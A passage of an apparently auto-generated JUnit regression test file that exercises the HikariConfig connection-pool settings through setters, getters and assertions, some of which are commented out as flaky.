// flaky: org.junit.Assert.assertTrue("'" + long5 + "' != '" + 35L + "'", long5 == 35L);
// flaky: org.junit.Assert.assertTrue("'" + long8 + "' != '" + 60L + "'", long8 == 60L);
org.junit.Assert.assertTrue("'" + long9 + "' != '" + 0L + "'", long9 == 0L);
}
@Test
public void test19446() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19446");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
hikariConfig1.setUseInstrumentation(true);
hikariConfig1.setConnectionInitSql("");
hikariConfig1.setConnectionCustomizerClassName("hi!");
boolean boolean11 = hikariConfig1.isInitializationFailFast;
hikariConfig1.dataSourceClassName = "HikariPool-22823";
java.lang.String str14 = hikariConfig1.getPoolName();
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertTrue("'" + boolean11 + "' != '" + false + "'", boolean11 == false);
// flaky: org.junit.Assert.assertEquals("'" + str14 + "' != '" + "HikariPool-51355" + "'", str14, "HikariPool-51355");
}
@Test
public void test19447() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19447");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
java.lang.String str5 = hikariConfig1.transactionIsolationName;
int int6 = hikariConfig1.getMaximumPoolSize();
int int7 = hikariConfig1.transactionIsolation;
java.util.Properties properties8 = hikariConfig1.dataSourceProperties;
hikariConfig1.isJdbc4connectionTest = false;
java.lang.String str11 = hikariConfig1.poolName;
hikariConfig1.maxLifetime = 0L;
boolean boolean14 = hikariConfig1.isRegisterMbeans();
boolean boolean15 = hikariConfig1.isAutoCommit;
int int16 = hikariConfig1.transactionIsolation;
java.lang.String str17 = hikariConfig1.getConnectionInitSql();
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertTrue("'" + int6 + "' != '" + 60 + "'", int6 == 60);
org.junit.Assert.assertTrue("'" + int7 + "' != '" + (-1) + "'", int7 == (-1));
org.junit.Assert.assertNotNull(properties8);
// flaky: org.junit.Assert.assertEquals("'" + str11 + "' != '" + "HikariPool-51356" + "'", str11, "HikariPool-51356");
org.junit.Assert.assertTrue("'" + boolean14 + "' != '" + false + "'", boolean14 == false);
org.junit.Assert.assertTrue("'" + boolean15 + "' != '" + true + "'", boolean15 == true);
org.junit.Assert.assertTrue("'" + int16 + "' != '" + (-1) + "'", int16 == (-1));
org.junit.Assert.assertNull(str17);
}
@Test
public void test19448() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19448");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
boolean boolean2 = hikariConfig1.isAutoCommit;
hikariConfig1.poolName = "hi!";
java.lang.String str5 = hikariConfig1.dataSourceClassName;
hikariConfig1.acquireRetries = (short) 10;
int int8 = hikariConfig1.getAcquireIncrement();
hikariConfig1.maxLifetime = 1800000L;
hikariConfig1.dataSourceClassName = "HikariPool-489";
hikariConfig1.setConnectionCustomizerClassName("HikariPool-320");
int int15 = hikariConfig1.getAcquireRetries();
hikariConfig1.leakDetectionThreshold = 0;
hikariConfig1.setConnectionInitSql("HikariPool-6821");
hikariConfig1.maxPoolSize = (byte) 100;
org.junit.Assert.assertTrue("'" + boolean2 + "' != '" + true + "'", boolean2 == true);
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertTrue("'" + int8 + "' != '" + 0 + "'", int8 == 0);
org.junit.Assert.assertTrue("'" + int15 + "' != '" + 10 + "'", int15 == 10);
}
@Test
public void test19449() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19449");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
java.lang.String str5 = hikariConfig1.transactionIsolationName;
int int6 = hikariConfig1.getTransactionIsolation();
hikariConfig1.isRegisterMbeans = false;
hikariConfig1.setConnectionCustomizerClassName("");
hikariConfig1.setMaxLifetime((long) 100);
int int13 = hikariConfig1.acquireRetries;
hikariConfig1.setMinimumPoolSize((int) (short) 10);
hikariConfig1.connectionTestQuery = "HikariPool-112";
java.lang.String str18 = hikariConfig1.getConnectionTestQuery();
long long19 = hikariConfig1.getIdleTimeout();
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertTrue("'" + int6 + "' != '" + (-1) + "'", int6 == (-1));
org.junit.Assert.assertTrue("'" + int13 + "' != '" + 3 + "'", int13 == 3);
org.junit.Assert.assertEquals("'" + str18 + "' != '" + "HikariPool-112" + "'", str18, "HikariPool-112");
// flaky: org.junit.Assert.assertTrue("'" + long19 + "' != '" + 60L + "'", long19 == 60L);
}
@Test
public void test19450() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19450");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
boolean boolean2 = hikariConfig1.isAutoCommit;
hikariConfig1.poolName = "hi!";
hikariConfig1.setTransactionIsolation("hi!");
long long7 = hikariConfig1.connectionTimeout;
long long8 = hikariConfig1.idleTimeout;
hikariConfig1.setConnectionTestQuery("HikariPool-204");
int int11 = hikariConfig1.getAcquireIncrement();
hikariConfig1.setJdbc4ConnectionTest(true);
java.util.Properties properties14 = null;
com.zaxxer.hikari.HikariConfig hikariConfig15 = new com.zaxxer.hikari.HikariConfig(properties14);
int int16 = hikariConfig15.getTransactionIsolation();
hikariConfig15.setRegisterMbeans(false);
java.lang.String str19 = hikariConfig15.transactionIsolationName;
int int20 = hikariConfig15.transactionIsolation;
java.lang.String str21 = hikariConfig15.getConnectionInitSql();
hikariConfig15.isAutoCommit = true;
long long24 = hikariConfig15.getIdleTimeout();
hikariConfig15.setMaximumPoolSize((int) 'a');
hikariConfig15.setMinimumPoolSize(0);
java.util.Properties properties29 = hikariConfig15.dataSourceProperties;
hikariConfig1.dataSourceProperties = properties29;
java.lang.String str31 = hikariConfig1.getConnectionCustomizerClassName();
java.util.Properties properties32 = null;
com.zaxxer.hikari.HikariConfig hikariConfig33 = new com.zaxxer.hikari.HikariConfig(properties32);
int int34 = hikariConfig33.getTransactionIsolation();
hikariConfig33.setRegisterMbeans(false);
hikariConfig33.dataSourceClassName = "";
hikariConfig33.setTransactionIsolation("");
boolean boolean41 = hikariConfig33.isRegisterMbeans();
hikariConfig33.setDataSourceClassName("HikariPool-173");
hikariConfig33.setInitializationFailFast(false);
hikariConfig33.leakDetectionThreshold = (short) 1;
java.util.Properties properties48 = null;
com.zaxxer.hikari.HikariConfig hikariConfig49 = new com.zaxxer.hikari.HikariConfig(properties48);
int int50 = hikariConfig49.getTransactionIsolation();
hikariConfig49.setRegisterMbeans(false);
hikariConfig49.setUseInstrumentation(true);
hikariConfig49.connectionTestQuery = "HikariPool-104";
hikariConfig49.maxPoolSize = (short) 100;
java.lang.String str59 = hikariConfig49.getPoolName();
java.util.Properties properties60 = null;
com.zaxxer.hikari.HikariConfig hikariConfig61 = new com.zaxxer.hikari.HikariConfig(properties60);
int int62 = hikariConfig61.getTransactionIsolation();
hikariConfig61.setRegisterMbeans(false);
java.lang.String str65 = hikariConfig61.transactionIsolationName;
long long66 = hikariConfig61.getIdleTimeout();
java.lang.String str67 = hikariConfig61.getCatalog();
java.util.Properties properties68 = hikariConfig61.getDataSourceProperties();
hikariConfig49.setDataSourceProperties(properties68);
hikariConfig33.dataSourceProperties = properties68;
hikariConfig1.dataSourceProperties = properties68;
com.zaxxer.hikari.HikariConfig hikariConfig72 = new com.zaxxer.hikari.HikariConfig(properties68);
org.junit.Assert.assertTrue("'" + boolean2 + "' != '" + true + "'", boolean2 == true);
// flaky: org.junit.Assert.assertTrue("'" + long7 + "' != '" + 10L + "'", long7 == 10L);
// flaky: org.junit.Assert.assertTrue("'" + long8 + "' != '" + 60L + "'", long8 == 60L);
org.junit.Assert.assertTrue("'" + int11 + "' != '" + 0 + "'", int11 == 0);
org.junit.Assert.assertTrue("'" + int16 + "' != '" + (-1) + "'", int16 == (-1));
org.junit.Assert.assertNull(str19);
org.junit.Assert.assertTrue("'" + int20 + "' != '" + (-1) + "'", int20 == (-1));
org.junit.Assert.assertNull(str21);
// flaky: org.junit.Assert.assertTrue("'" + long24 + "' != '" + 60L + "'", long24 == 60L);
org.junit.Assert.assertNotNull(properties29);
org.junit.Assert.assertNull(str31);
org.junit.Assert.assertTrue("'" + int34 + "' != '" + (-1) + "'", int34 == (-1));
org.junit.Assert.assertTrue("'" + boolean41 + "' != '" + false + "'", boolean41 == false);
org.junit.Assert.assertTrue("'" + int50 + "' != '" + (-1) + "'", int50 == (-1));
// flaky: org.junit.Assert.assertEquals("'" + str59 + "' != '" + "HikariPool-51362" + "'", str59, "HikariPool-51362");
org.junit.Assert.assertTrue("'" + int62 + "' != '" + (-1) + "'", int62 == (-1));
org.junit.Assert.assertNull(str65);
// flaky: org.junit.Assert.assertTrue("'" + long66 + "' != '" + 60L + "'", long66 == 60L);
org.junit.Assert.assertNull(str67);
org.junit.Assert.assertNotNull(properties68);
}
@Test
public void test19451() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19451");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
java.lang.String str5 = hikariConfig1.transactionIsolationName;
hikariConfig1.setRegisterMbeans(false);
java.lang.String str8 = hikariConfig1.getDataSourceClassName();
boolean boolean9 = hikariConfig1.isJdbc4ConnectionTest();
long long10 = hikariConfig1.idleTimeout;
hikariConfig1.acquireRetries = (short) -1;
hikariConfig1.acquireRetries = (byte) 100;
int int15 = hikariConfig1.minPoolSize;
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertNull(str8);
org.junit.Assert.assertTrue("'" + boolean9 + "' != '" + true + "'", boolean9 == true);
// flaky: org.junit.Assert.assertTrue("'" + long10 + "' != '" + 60L + "'", long10 == 60L);
org.junit.Assert.assertTrue("'" + int15 + "' != '" + 10 + "'", int15 == 10);
}
@Test
public void test19452() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19452");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
boolean boolean2 = hikariConfig1.isAutoCommit;
hikariConfig1.poolName = "hi!";
java.lang.String str5 = hikariConfig1.dataSourceClassName;
java.lang.String str6 = hikariConfig1.dataSourceClassName;
hikariConfig1.setJdbc4ConnectionTest(false);
com.zaxxer.hikari.IConnectionCustomizer iConnectionCustomizer9 = hikariConfig1.connectionCustomizer;
hikariConfig1.setMaxLifetime((long) (short) 0);
hikariConfig1.setAcquireRetries(100);
long long14 = hikariConfig1.getIdleTimeout();
boolean boolean15 = hikariConfig1.isJdbc4connectionTest;
hikariConfig1.setPoolName("HikariPool-222");
int int18 = hikariConfig1.getTransactionIsolation();
boolean boolean19 = hikariConfig1.isRegisterMbeans();
long long20 = hikariConfig1.connectionTimeout;
boolean boolean21 = hikariConfig1.isRegisterMbeans();
hikariConfig1.setMinimumPoolSize(100);
hikariConfig1.transactionIsolationName = "HikariPool-13466";
long long26 = hikariConfig1.getConnectionTimeout();
org.junit.Assert.assertTrue("'" + boolean2 + "' != '" + true + "'", boolean2 == true);
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertNull(str6);
org.junit.Assert.assertNull(iConnectionCustomizer9);
// flaky: org.junit.Assert.assertTrue("'" + long14 + "' != '" + 60L + "'", long14 == 60L);
org.junit.Assert.assertTrue("'" + boolean15 + "' != '" + false + "'", boolean15 == false);
org.junit.Assert.assertTrue("'" + int18 + "' != '" + (-1) + "'", int18 == (-1));
org.junit.Assert.assertTrue("'" + boolean19 + "' != '" + false + "'", boolean19 == false);
// flaky: org.junit.Assert.assertTrue("'" + long20 + "' != '" + 10L + "'", long20 == 10L);
org.junit.Assert.assertTrue("'" + boolean21 + "' != '" + false + "'", boolean21 == false);
// flaky: org.junit.Assert.assertTrue("'" + long26 + "' != '" + 10L + "'", long26 == 10L);
}
@Test
public void test19453() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19453");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
hikariConfig1.isInitializationFailFast = true;
int int7 = hikariConfig1.acquireRetries;
hikariConfig1.setMaxLifetime((long) (-1));
int int10 = hikariConfig1.getTransactionIsolation();
java.util.Properties properties11 = null;
com.zaxxer.hikari.HikariConfig hikariConfig12 = new com.zaxxer.hikari.HikariConfig(properties11);
int int13 = hikariConfig12.getTransactionIsolation();
hikariConfig12.setRegisterMbeans(false);
java.lang.String str16 = hikariConfig12.transactionIsolationName;
int int17 = hikariConfig12.getMaximumPoolSize();
int int18 = hikariConfig12.transactionIsolation;
java.util.Properties properties19 = hikariConfig12.dataSourceProperties;
hikariConfig1.setDataSourceProperties(properties19);
long long21 = hikariConfig1.getLeakDetectionThreshold();
hikariConfig1.setTransactionIsolation("HikariPool-374");
java.lang.Object obj25 = null;
// The following exception was thrown during execution in test generation
try {
hikariConfig1.addDataSourceProperty("HikariPool-8472", obj25);
org.junit.Assert.fail("Expected exception of type java.lang.NullPointerException; message: null");
} catch (java.lang.NullPointerException e) {
// Expected exception.
}
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertTrue("'" + int7 + "' != '" + 3 + "'", int7 == 3);
org.junit.Assert.assertTrue("'" + int10 + "' != '" + (-1) + "'", int10 == (-1));
org.junit.Assert.assertTrue("'" + int13 + "' != '" + (-1) + "'", int13 == (-1));
org.junit.Assert.assertNull(str16);
org.junit.Assert.assertTrue("'" + int17 + "' != '" + 60 + "'", int17 == 60);
org.junit.Assert.assertTrue("'" + int18 + "' != '" + (-1) + "'", int18 == (-1));
org.junit.Assert.assertNotNull(properties19);
org.junit.Assert.assertTrue("'" + long21 + "' != '" + 0L + "'", long21 == 0L);
}
@Test
public void test19454() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19454");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
hikariConfig1.setUseInstrumentation(true);
hikariConfig1.setConnectionInitSql("");
hikariConfig1.setRegisterMbeans(true);
long long11 = hikariConfig1.leakDetectionThreshold;
boolean boolean12 = hikariConfig1.isInitializationFailFast;
java.lang.String str13 = hikariConfig1.connectionTestQuery;
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertTrue("'" + long11 + "' != '" + 0L + "'", long11 == 0L);
org.junit.Assert.assertTrue("'" + boolean12 + "' != '" + false + "'", boolean12 == false);
org.junit.Assert.assertNull(str13);
}
@Test
public void test19455() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19455");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
hikariConfig1.setUseInstrumentation(true);
hikariConfig1.connectionTestQuery = "HikariPool-104";
hikariConfig1.maxPoolSize = (short) 100;
javax.sql.DataSource dataSource11 = null;
hikariConfig1.setDataSource(dataSource11);
java.lang.String str13 = hikariConfig1.getConnectionCustomizerClassName();
java.util.Properties properties15 = null;
com.zaxxer.hikari.HikariConfig hikariConfig16 = new com.zaxxer.hikari.HikariConfig(properties15);
boolean boolean17 = hikariConfig16.isAutoCommit;
hikariConfig16.poolName = "hi!";
hikariConfig16.setTransactionIsolation("hi!");
long long22 = hikariConfig16.connectionTimeout;
java.lang.String str23 = hikariConfig16.getPoolName();
boolean boolean24 = hikariConfig16.isRegisterMbeans;
boolean boolean25 = hikariConfig16.isRegisterMbeans;
java.lang.String str26 = hikariConfig16.dataSourceClassName;
hikariConfig1.addDataSourceProperty("HikariPool-410", (java.lang.Object) hikariConfig16);
long long28 = hikariConfig1.getIdleTimeout();
java.lang.String str29 = hikariConfig1.getPoolName();
long long30 = hikariConfig1.getLeakDetectionThreshold();
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str13);
org.junit.Assert.assertTrue("'" + boolean17 + "' != '" + true + "'", boolean17 == true);
// flaky: org.junit.Assert.assertTrue("'" + long22 + "' != '" + 10L + "'", long22 == 10L);
org.junit.Assert.assertEquals("'" + str23 + "' != '" + "hi!" + "'", str23, "hi!");
org.junit.Assert.assertTrue("'" + boolean24 + "' != '" + false + "'", boolean24 == false);
org.junit.Assert.assertTrue("'" + boolean25 + "' != '" + false + "'", boolean25 == false);
org.junit.Assert.assertNull(str26);
// flaky: org.junit.Assert.assertTrue("'" + long28 + "' != '" + 60L + "'", long28 == 60L);
// flaky: org.junit.Assert.assertEquals("'" + str29 + "' != '" + "HikariPool-51371" + "'", str29, "HikariPool-51371");
org.junit.Assert.assertTrue("'" + long30 + "' != '" + 0L + "'", long30 == 0L);
}
@Test
public void test19456() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19456");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
hikariConfig1.transactionIsolationName = "";
int int7 = hikariConfig1.getMinimumPoolSize();
hikariConfig1.setAcquireRetries((int) (byte) 1);
java.lang.String str10 = hikariConfig1.getConnectionInitSql();
javax.sql.DataSource dataSource11 = null;
hikariConfig1.dataSource = dataSource11;
boolean boolean13 = hikariConfig1.isAutoCommit();
long long14 = hikariConfig1.leakDetectionThreshold;
java.util.Properties properties16 = null;
com.zaxxer.hikari.HikariConfig hikariConfig17 = new com.zaxxer.hikari.HikariConfig(properties16);
int int18 = hikariConfig17.getTransactionIsolation();
hikariConfig17.setRegisterMbeans(false);
java.lang.String str21 = hikariConfig17.transactionIsolationName;
int int22 = hikariConfig17.getMaximumPoolSize();
int int23 = hikariConfig17.transactionIsolation;
java.util.Properties properties24 = hikariConfig17.dataSourceProperties;
hikariConfig17.transactionIsolation = (byte) 1;
hikariConfig17.dataSourceClassName = "";
javax.sql.DataSource dataSource29 = null;
hikariConfig17.setDataSource(dataSource29);
long long31 = hikariConfig17.getLeakDetectionThreshold();
hikariConfig1.addDataSourceProperty("HikariPool-393", (java.lang.Object) hikariConfig17);
long long33 = hikariConfig17.getIdleTimeout();
int int34 = hikariConfig17.minPoolSize;
java.util.Properties properties35 = hikariConfig17.getDataSourceProperties();
hikariConfig17.setAutoCommit(false);
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertTrue("'" + int7 + "' != '" + 10 + "'", int7 == 10);
org.junit.Assert.assertNull(str10);
org.junit.Assert.assertTrue("'" + boolean13 + "' != '" + true + "'", boolean13 == true);
org.junit.Assert.assertTrue("'" + long14 + "' != '" + 0L + "'", long14 == 0L);
org.junit.Assert.assertTrue("'" + int18 + "' != '" + (-1) + "'", int18 == (-1));
org.junit.Assert.assertNull(str21);
org.junit.Assert.assertTrue("'" + int22 + "' != '" + 60 + "'", int22 == 60);
org.junit.Assert.assertTrue("'" + int23 + "' != '" + (-1) + "'", int23 == (-1));
org.junit.Assert.assertNotNull(properties24);
org.junit.Assert.assertTrue("'" + long31 + "' != '" + 0L + "'", long31 == 0L);
// flaky: org.junit.Assert.assertTrue("'" + long33 + "' != '" + 60L + "'", long33 == 60L);
org.junit.Assert.assertTrue("'" + int34 + "' != '" + 10 + "'", int34 == 10);
org.junit.Assert.assertNotNull(properties35);
}
@Test
public void test19457() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19457");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
hikariConfig1.leakDetectionThreshold = 100;
hikariConfig1.setRegisterMbeans(false);
hikariConfig1.isRegisterMbeans = false;
hikariConfig1.setConnectionInitSql("HikariPool-780");
java.lang.String str10 = hikariConfig1.dataSourceClassName;
com.zaxxer.hikari.IConnectionCustomizer iConnectionCustomizer11 = hikariConfig1.connectionCustomizer;
hikariConfig1.minPoolSize = 100;
java.util.Properties properties14 = null;
com.zaxxer.hikari.HikariConfig hikariConfig15 = new com.zaxxer.hikari.HikariConfig(properties14);
int int16 = hikariConfig15.getTransactionIsolation();
hikariConfig15.setRegisterMbeans(false);
hikariConfig15.dataSourceClassName = "";
hikariConfig15.setIdleTimeout((long) (short) 100);
java.util.Properties properties23 = hikariConfig15.getDataSourceProperties();
com.zaxxer.hikari.HikariConfig hikariConfig24 = new com.zaxxer.hikari.HikariConfig(properties23);
hikariConfig1.dataSourceProperties = properties23;
java.util.Properties properties26 = hikariConfig1.dataSourceProperties;
org.junit.Assert.assertNull(str10);
org.junit.Assert.assertNull(iConnectionCustomizer11);
org.junit.Assert.assertTrue("'" + int16 + "' != '" + (-1) + "'", int16 == (-1));
org.junit.Assert.assertNotNull(properties23);
org.junit.Assert.assertNotNull(properties26);
}
@Test
public void test19458() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19458");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
hikariConfig1.leakDetectionThreshold = 100;
hikariConfig1.minPoolSize = (byte) 1;
hikariConfig1.setRegisterMbeans(false);
com.zaxxer.hikari.IConnectionCustomizer iConnectionCustomizer8 = hikariConfig1.connectionCustomizer;
java.util.Properties properties10 = null;
com.zaxxer.hikari.HikariConfig hikariConfig11 = new com.zaxxer.hikari.HikariConfig(properties10);
int int12 = hikariConfig11.getTransactionIsolation();
hikariConfig11.setRegisterMbeans(false);
java.lang.String str15 = hikariConfig11.transactionIsolationName;
int int16 = hikariConfig11.getMaximumPoolSize();
int int17 = hikariConfig11.transactionIsolation;
java.util.Properties properties18 = hikariConfig11.dataSourceProperties;
hikariConfig11.transactionIsolation = (byte) 1;
hikariConfig11.dataSourceClassName = "";
boolean boolean23 = hikariConfig11.isJdbc4connectionTest;
hikariConfig11.setJdbc4ConnectionTest(true);
hikariConfig1.addDataSourceProperty("HikariPool-59", (java.lang.Object) hikariConfig11);
hikariConfig11.leakDetectionThreshold = 87L;
boolean boolean29 = hikariConfig11.isInitializationFailFast();
javax.sql.DataSource dataSource30 = hikariConfig11.getDataSource();
hikariConfig11.setLeakDetectionThreshold(60L);
java.lang.String str33 = hikariConfig11.connectionCustomizerClassName;
java.lang.String str34 = hikariConfig11.transactionIsolationName;
org.junit.Assert.assertNull(iConnectionCustomizer8);
org.junit.Assert.assertTrue("'" + int12 + "' != '" + (-1) + "'", int12 == (-1));
org.junit.Assert.assertNull(str15);
org.junit.Assert.assertTrue("'" + int16 + "' != '" + 60 + "'", int16 == 60);
org.junit.Assert.assertTrue("'" + int17 + "' != '" + (-1) + "'", int17 == (-1));
org.junit.Assert.assertNotNull(properties18);
org.junit.Assert.assertTrue("'" + boolean23 + "' != '" + true + "'", boolean23 == true);
org.junit.Assert.assertTrue("'" + boolean29 + "' != '" + false + "'", boolean29 == false);
org.junit.Assert.assertNull(dataSource30);
org.junit.Assert.assertNull(str33);
org.junit.Assert.assertNull(str34);
}
@Test
public void test19459() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19459");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
boolean boolean2 = hikariConfig1.isAutoCommit;
hikariConfig1.poolName = "hi!";
hikariConfig1.setMinimumPoolSize(1);
javax.sql.DataSource dataSource7 = null;
hikariConfig1.dataSource = dataSource7;
int int9 = hikariConfig1.minPoolSize;
int int10 = hikariConfig1.minPoolSize;
hikariConfig1.isInitializationFailFast = false;
java.lang.String str13 = hikariConfig1.getCatalog();
hikariConfig1.setTransactionIsolation("HikariPool-483");
hikariConfig1.setCatalog("HikariPool-1307");
javax.sql.DataSource dataSource18 = hikariConfig1.getDataSource();
com.zaxxer.hikari.IConnectionCustomizer iConnectionCustomizer19 = hikariConfig1.connectionCustomizer;
java.util.Properties properties20 = null;
com.zaxxer.hikari.HikariConfig hikariConfig21 = new com.zaxxer.hikari.HikariConfig(properties20);
int int22 = hikariConfig21.getTransactionIsolation();
hikariConfig21.setRegisterMbeans(false);
hikariConfig21.isInitializationFailFast = true;
int int27 = hikariConfig21.acquireRetries;
hikariConfig21.setMaxLifetime((long) (-1));
int int30 = hikariConfig21.getTransactionIsolation();
com.zaxxer.hikari.IConnectionCustomizer iConnectionCustomizer31 = null;
hikariConfig21.connectionCustomizer = iConnectionCustomizer31;
java.lang.String str33 = hikariConfig21.catalog;
java.util.Properties properties34 = null;
com.zaxxer.hikari.HikariConfig hikariConfig35 = new com.zaxxer.hikari.HikariConfig(properties34);
hikariConfig35.dataSourceClassName = "";
hikariConfig35.connectionTimeout = 10L;
hikariConfig35.connectionTestQuery = "HikariPool-104";
java.util.Properties properties42 = null;
com.zaxxer.hikari.HikariConfig hikariConfig43 = new com.zaxxer.hikari.HikariConfig(properties42);
int int44 = hikariConfig43.getTransactionIsolation();
hikariConfig43.setRegisterMbeans(false);
hikariConfig43.isInitializationFailFast = true;
int int49 = hikariConfig43.acquireRetries;
hikariConfig43.setMaxLifetime((long) (-1));
int int52 = hikariConfig43.getTransactionIsolation();
java.util.Properties properties53 = null;
com.zaxxer.hikari.HikariConfig hikariConfig54 = new com.zaxxer.hikari.HikariConfig(properties53);
int int55 = hikariConfig54.getTransactionIsolation();
hikariConfig54.setRegisterMbeans(false);
java.lang.String str58 = hikariConfig54.transactionIsolationName;
int int59 = hikariConfig54.getMaximumPoolSize();
int int60 = hikariConfig54.transactionIsolation;
java.util.Properties properties61 = hikariConfig54.dataSourceProperties;
hikariConfig43.setDataSourceProperties(properties61);
hikariConfig35.setDataSourceProperties(properties61);
hikariConfig21.setDataSourceProperties(properties61);
com.zaxxer.hikari.HikariConfig hikariConfig65 = new com.zaxxer.hikari.HikariConfig(properties61);
hikariConfig1.dataSourceProperties = properties61;
org.junit.Assert.assertTrue("'" + boolean2 + "' != '" + true + "'", boolean2 == true);
org.junit.Assert.assertTrue("'" + int9 + "' != '" + 1 + "'", int9 == 1);
org.junit.Assert.assertTrue("'" + int10 + "' != '" + 1 + "'", int10 == 1);
org.junit.Assert.assertNull(str13);
org.junit.Assert.assertNull(dataSource18);
org.junit.Assert.assertNull(iConnectionCustomizer19);
org.junit.Assert.assertTrue("'" + int22 + "' != '" + (-1) + "'", int22 == (-1));
org.junit.Assert.assertTrue("'" + int27 + "' != '" + 3 + "'", int27 == 3);
org.junit.Assert.assertTrue("'" + int30 + "' != '" + (-1) + "'", int30 == (-1));
org.junit.Assert.assertNull(str33);
org.junit.Assert.assertTrue("'" + int44 + "' != '" + (-1) + "'", int44 == (-1));
org.junit.Assert.assertTrue("'" + int49 + "' != '" + 3 + "'", int49 == 3);
org.junit.Assert.assertTrue("'" + int52 + "' != '" + (-1) + "'", int52 == (-1));
org.junit.Assert.assertTrue("'" + int55 + "' != '" + (-1) + "'", int55 == (-1));
org.junit.Assert.assertNull(str58);
org.junit.Assert.assertTrue("'" + int59 + "' != '" + 60 + "'", int59 == 60);
org.junit.Assert.assertTrue("'" + int60 + "' != '" + (-1) + "'", int60 == (-1));
org.junit.Assert.assertNotNull(properties61);
}
@Test
public void test19460() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19460");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
boolean boolean2 = hikariConfig1.isAutoCommit;
hikariConfig1.poolName = "hi!";
java.lang.String str5 = hikariConfig1.dataSourceClassName;
hikariConfig1.acquireRetries = (short) 10;
java.util.Properties properties8 = hikariConfig1.dataSourceProperties;
com.zaxxer.hikari.HikariConfig hikariConfig9 = new com.zaxxer.hikari.HikariConfig(properties8);
hikariConfig9.setTransactionIsolation("HikariPool-252");
javax.sql.DataSource dataSource12 = hikariConfig9.getDataSource();
java.lang.String str13 = hikariConfig9.connectionInitSql;
java.util.Properties properties14 = null;
com.zaxxer.hikari.HikariConfig hikariConfig15 = new com.zaxxer.hikari.HikariConfig(properties14);
int int16 = hikariConfig15.getTransactionIsolation();
hikariConfig15.setRegisterMbeans(false);
java.lang.String str19 = hikariConfig15.transactionIsolationName;
int int20 = hikariConfig15.getMaximumPoolSize();
int int21 = hikariConfig15.transactionIsolation;
